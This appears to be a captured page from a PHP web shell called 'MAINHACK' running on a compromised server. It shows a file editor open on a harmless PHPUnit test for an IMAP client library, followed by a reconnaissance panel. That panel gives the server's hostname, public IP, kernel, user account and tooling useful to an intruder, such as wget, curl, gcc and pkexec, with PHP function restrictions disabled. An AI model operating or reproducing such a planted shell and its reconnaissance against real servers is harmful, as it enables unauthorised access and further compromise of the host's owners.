[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ClientManagerTest.php
<?php /* * File: ClientManagerTest.php * Category: - * Author: M.Goldenbaum * Created: 28.12.22 18:11 * Updated: - * * Description: * - */ namespace Tests; use PHPUnit\Framework\TestCase; use Webklex\PHPIMAP\Client; use Webklex\PHPIMAP\ClientManager; use Webklex\PHPIMAP\Exceptions\MaskNotFoundException; use Webklex\PHPIMAP\IMAP; class ClientManagerTest extends TestCase { /** @var ClientManager $cm */ protected ClientManager $cm; /** * Setup the test environment. * * @return void */ public function setUp(): void { $this->cm = new ClientManager(); } /** * Test if the config can be accessed * * @return void */ public function testConfigAccessorAccount(): void { self::assertSame("default", ClientManager::get("default")); self::assertSame("d-M-Y", ClientManager::get("date_format")); self::assertSame(IMAP::FT_PEEK, ClientManager::get("options.fetch")); self::assertSame([], ClientManager::get("options.open")); } /** * Test creating a client instance * * @throws MaskNotFoundException */ public function testMakeClient(): void { self::assertInstanceOf(Client::class, $this->cm->make([])); } /** * Test accessing accounts * * @throws MaskNotFoundException */ public function testAccountAccessor(): void { self::assertSame("default", $this->cm->getDefaultAccount()); self::assertNotEmpty($this->cm->account("default")); $this->cm->setDefaultAccount("foo"); self::assertSame("foo", $this->cm->getDefaultAccount()); $this->cm->setDefaultAccount("default"); } /** * Test setting a config * * @throws MaskNotFoundException */ public function testSetConfig(): void { $config = [ "default" => "foo", "options" => [ "fetch" => IMAP::ST_MSGN, "open" => "foo" ] ]; $cm = new ClientManager($config); self::assertSame("foo", $cm->getDefaultAccount()); self::assertInstanceOf(Client::class, $cm->account("foo")); self::assertSame(IMAP::ST_MSGN, $cm->get("options.fetch")); self::assertSame(false, is_array($cm->get("options.open"))); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002